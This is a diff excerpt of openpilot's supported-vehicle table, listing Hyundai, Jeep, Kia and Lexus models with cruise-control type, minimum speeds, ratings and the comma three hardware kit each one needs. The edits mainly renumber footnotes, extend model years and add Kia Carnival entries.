|| |Hyundai|Genesis 2015-16|Smart Cruise Control (SCC)|Stock|19 mph|37 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai J connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|i30 2017-19|Smart Cruise Control (SCC)|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Ioniq 5 (Southeast Asia only) 2022-23[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai Q connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Ioniq 5 (with HDA II) 2022-23[5](#footnotes)|Highway Driving Assist II|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai Q connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Ioniq 5 (without HDA II) 2022-23[5](#footnotes)|Highway Driving Assist|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Ioniq 5 (Southeast Asia only) 2022-23[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai Q connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Ioniq 5 (with HDA II) 2022-23[6](#footnotes)|Highway Driving Assist II|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai Q connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Ioniq 5 (without HDA II) 2022-23[6](#footnotes)|Highway Driving Assist|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Ioniq Electric 2019|Smart Cruise Control (SCC)|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Ioniq Electric 2020|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai H connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Ioniq Hybrid 2017-19|Smart Cruise Control (SCC)|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -89,26 +90,28 @@ A supported vehicle is one that just works when you install a comma three. All s |Hyundai|Kona Electric 2022|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai O connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Kona Hybrid 2020|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai I connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Palisade 2020-22|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai H connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Santa Cruz 2022-23[5](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Santa Cruz 2022-23[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Santa Fe 2019-20|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai D connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Santa Fe 2021-22|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Santa Fe 2021-23|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Santa Fe Hybrid 2022-23|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Santa Fe Plug-in Hybrid 2022|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Sonata 2018-19|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Sonata 2020-23|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Sonata Hybrid 2020-22|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Sonata Hybrid 2020-23|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Tucson 2021|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|19 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Tucson 2022[5](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Tucson 2023[5](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Tucson 2022[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Tucson 2023[6](#footnotes)|All|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Tucson Diesel 2019|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Hyundai|Tucson Hybrid 2022-23[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Hyundai|Tucson Hybrid 2022-23[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Hyundai|Veloster 2019-20|Smart Cruise Control (SCC)|Stock|5 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Jeep|Grand Cherokee 2016-18|Adaptive Cruise Control (ACC)|Stock|0 mph|9 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 FCA connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Jeep|Grand Cherokee 2019-21|Adaptive Cruise Control (ACC)|Stock|0 mph|39 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 FCA connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Carnival 2023[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Carnival (China only) 2023[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Ceed 2019|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|EV6 (Southeast Asia only) 2022-23[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai P connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|EV6 (with HDA II) 2022-23[5](#footnotes)|Highway Driving Assist II|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai P connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|EV6 (without HDA II) 2022-23[5](#footnotes)|Highway Driving Assist|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|EV6 (Southeast Asia only) 2022-23[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai P connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|EV6 (with HDA II) 2022-23[6](#footnotes)|Highway Driving Assist II|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai P connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|EV6 (without HDA II) 2022-23[6](#footnotes)|Highway Driving Assist|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai L connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Forte 2019-21|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai G connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Forte 2023|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|K5 2021-22|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -117,9 +120,9 @@ A supported vehicle is one that just works when you install a comma three. All s |Kia|Niro EV 2020|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai F connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Niro EV 2021|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Niro EV 2022|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai H connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Niro EV 2023[5](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Niro EV 2023[6](#footnotes)|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Niro Hybrid 2021-22|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai F connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Niro Hybrid 2023[5](#footnotes)|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Niro Hybrid 2023[6](#footnotes)|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Niro Plug-in Hybrid 2018-19|All|openpilot available[1](#footnotes)|10 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Niro Plug-in Hybrid 2020|All|openpilot available[1](#footnotes)|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai D connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Optima 2017|Advanced Smart Cruise Control|Stock|0 mph|32 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai B connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -127,10 +130,10 @@ A supported vehicle is one that just works when you install a comma three. All s |Kia|Seltos 2021|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Sorento 2018|Advanced Smart Cruise Control|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Sorento 2019|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai E connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Sorento 2021-23[5](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Sorento Plug-in Hybrid 2022-23[5](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Sportage 2023[5](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Kia|Sportage Hybrid 2023[5](#footnotes)|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Sorento 2021-23[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Sorento Plug-in Hybrid 2022-23[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai A connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Sportage 2023[6](#footnotes)|Smart Cruise Control (SCC)|Stock|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| +|Kia|Sportage Hybrid 2023[6](#footnotes)|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai N connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Stinger 2018-20|Smart Cruise Control (SCC)|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai C connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Stinger 2022|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai K connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Kia|Telluride 2020-22|All|openpilot available[1](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 Hyundai H connector
- 1 RJ45 cable (7 ft)
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| @@ -151,10 +154,10 @@ A supported vehicle is one that just works when you install a comma three. All s |Lexus|RX Hybrid 2016|Lexus Safety System+|openpilot available[2](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Lexus|RX Hybrid 2017-19|All|openpilot available[2](#footnotes)|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-empty.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| |Lexus|RX Hybrid 2020-21|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
|| -|Lexus|UX Hybrid 2019-22|All|openpilot|0 mph|0 mph|[![star](assets/icon-star-full.svg)](##)|[![star](assets/icon-star-full.svg)](##)|
View- 1 RJ45 cable (7 ft)
- 1 Toyota connector
- 1 comma power v2
- 1 comma three
- 1 harness box
- 1 mount
- 1 right angle OBD-C cable (1.5 ft)
Buy Here
